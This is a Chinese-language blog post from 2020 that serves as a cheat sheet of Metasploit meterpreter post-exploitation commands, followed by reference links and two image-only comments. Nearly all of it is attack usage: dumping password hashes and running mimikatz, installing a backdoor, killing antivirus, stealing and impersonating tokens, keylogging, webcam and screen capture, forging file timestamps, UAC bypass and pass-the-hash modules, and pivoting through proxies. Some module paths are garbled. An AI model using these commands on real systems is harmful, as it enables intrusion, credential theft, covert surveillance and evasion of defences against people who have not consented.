Metasploit 后渗透模块 meterpreter 常用命令
Fanx / 2020-03-14 / Linux / 阅读量 2465

基本命令

getuid #当前权限查询
background #返回到msf中
getsystem #尝试提权到system
ifconfig #查看网络配置
upload <本机文件路径> <上传到目标的那个路径>
hashdump #获取hash
run metsvc -A #自动安装后门
screenshot #截屏
sysinfo #获取操作系统平台详细信息
ps #获取进程列表
migrate <PID> #会话进程迁移
webcam_list #查看摄像头信息
webcam_snap #获取摄像头的摄的图像
get_local_subnets #使用外部脚本
route #路由查看
run vnc #开启vnc
run killav #关闭杀毒软件
run scraper #获取系统信息
getwd #获取当前目标机的工作路径
download <目标机文件> <本机保存路径> #从目标机将文件下载到本机
portfwd add -l <本机端口> -p <目标机要转发到本地的端口> -r <本机IP或127.0.0.1或0.0.0.0> #端口转发
search -f <要搜索的文件名或者模糊搜索例如:*.txt> #文件搜索
quit #退出当前会话
shell #进入cmd shell
getlwd #操作攻击者主机 查看当前目录
getproxy #查看代理信息
kill <pid值> #杀死进程
cat c:\\lltest\\lltestpasswd.txt # 查看文件内容
edit c:\\1.txt #编辑或创建文件 没有的话,会新建文件
rm C:\\lltest\\hack.txt
mkdir lltest2 #只能在当前目录下创建文件夹
rmdir lltest2 #只能删除当前目录下文件夹

execute

exeute -H <可执行文件路径> #执行目标机的可执行文件
execute -f <目标机可执行文件文件路径> -i -t #以当前的权限token执行命令

RDP

run getgui -e #开启RDP
run getgui -f 4444 -e #3389端口转发至本机的4444

创建一个新账号:
run getgui -u <用户名> -p <密码>

抓密码

load mimikatz #加载mimikatz
wdigest #获取wdigest的密码
mimikatz_command -f samdump::hashes #执行mimikatz原始命令

令牌伪造

use incognito # 加载incofnito模块
list_tokens -u # 列举处系统是所有可利用令牌
impersonate_token '<令牌名称>' #伪造令牌
rev2self #返回原始token

查看主机流量

run packetrecorder -L #查看主机网卡
run packetrecorder -i <网卡ID> #查看主机流量

添加路由

run autoroute –h #查看帮助
run autoroute -s 192.168.159.0/24 #添加到目标环境网络
run autoroute –p #查看添加的路由

键盘记录

keyscan_start #开始键盘记录
keyscan_dump #导出记录数据
keyscan_stop #结束键盘记录

uictl开关键盘/鼠标

uictl [enable/disable] [keyboard/mouse/all] #开启或禁止键盘/鼠标
uictl disable mouse #禁用鼠标
uictl disable keyboard #禁用键盘

文件时间戳伪造

timestomp C:// -h #查看帮助
timestomp -v C://2.txt #查看时间戳
timestomp C://2.txt -f C://1.txt #将1.txt的时间戳复制给2.txt

截图

enumdesktops #查看可用的桌面
getdesktop #获取当前meterpreter 关联的桌面
set_desktop #设置meterpreter关联的桌面 -h查看帮助
screenshot #截屏
use espia #或者使用espia模块截屏 然后输入screengrab
run vnc #使用vnc远程桌面连接

sniffer抓包

use sniffer
sniffer_interfaces #查看网卡
sniffer_start 2 #选择网卡 开始抓包
sniffer_stats 2 #查看状态
sniffer_dump 2 /tmptest.pcap #导出pcap数据包
sniffer_stop 2 #停止抓包

令牌窃取

如果目标进程是管理员权限窃取成功的话即可获取Administrator权限
steal_token <pid值> #从指定进程中窃取token 先ps
drop_token #删除窃取的token

常用模块

run post/windows/gathereckvm #是否虚拟机
run postnux/gathereckvm #Linux检测是否虚拟机
run post/windows/gather/forensics/enum_drives #查看分区
run post/windows/gather/enum_applications #获取安装软件信息
run post/windows/gather/dumplinks #获取最近的文件操作
run post/windows/gather/enum_ie #获取IE缓存
run post/windows/gather/enum_chrome #获取Chrome缓存
run post/windows/gather/enum_patches #补丁信息
run /usr/metasploit-framework/modules/postnux/gather #Linux漏洞查找
run post/windows/gather/enum_domain #查找域控
run post/multi/recon/local_exploit_suggester #exp搜寻
run post/windows/gather/enum_unattend #windows凭证搜索

bypassUAC

use exploit/windows/local/bypassuac
use exploit/exploit/windows/local/bypassuac_injection
use exploit/windows/local/bypassuac_vbs
use exploit/windows/local/ask

psexec hash传递

use exploit/windows/smb/psexec

Socks4a代理

autoroute添加完路由后,还可以利用msf自带的sock4a模块进行Socks4a代理

msf> use auxiliaryrver/socks4a
msf > set srvhost 127.0.0.1
msf > set srvport 1080
msf > run

端口扫描

run post/windows/gather/arp_scanner RHOSTS=192.168.159.0/24
run auxiliary/scanner/portscan/tcp RHOSTS=192.168.159.144 PORTS=3389 

参考

https://null-byte.wonderhowto.com/how-to/hack-like-pro-ultimate-command-cheat-sheet-for-metasploits-meterpreter-0149146/
https://thehacktoday.com/metasploit-commands/
https://www.offensive-security.com/metasploit-unleashed/fun-incognito/
https://www.offensive-security.com/metasploit-unleashed/persistent-netcat-backdoor/
https://www.offensive-security.com/metasploit-unleashed/privilege-escalation/
http://www.hackingarticles.in/7-ways-to-privilege-escalation-of-windows-7-pc-bypass-uac/
https://www.offensive-security.com/metasploit-unleashed/psexec-pass-hash/
http://wooyun.jozxing.cc/static/drops/tips-2227.html
https://xz.aliyun.com/t/2536

2 + 2 =
2 评论
    yuange1975Chrome 79Mac OS X
    2020年03月16日 回复

    8teHTs.jpg

    TombkeeperChrome 80Windows 10 / 11
    2020年03月14日 回复

    8QxgC8.jpg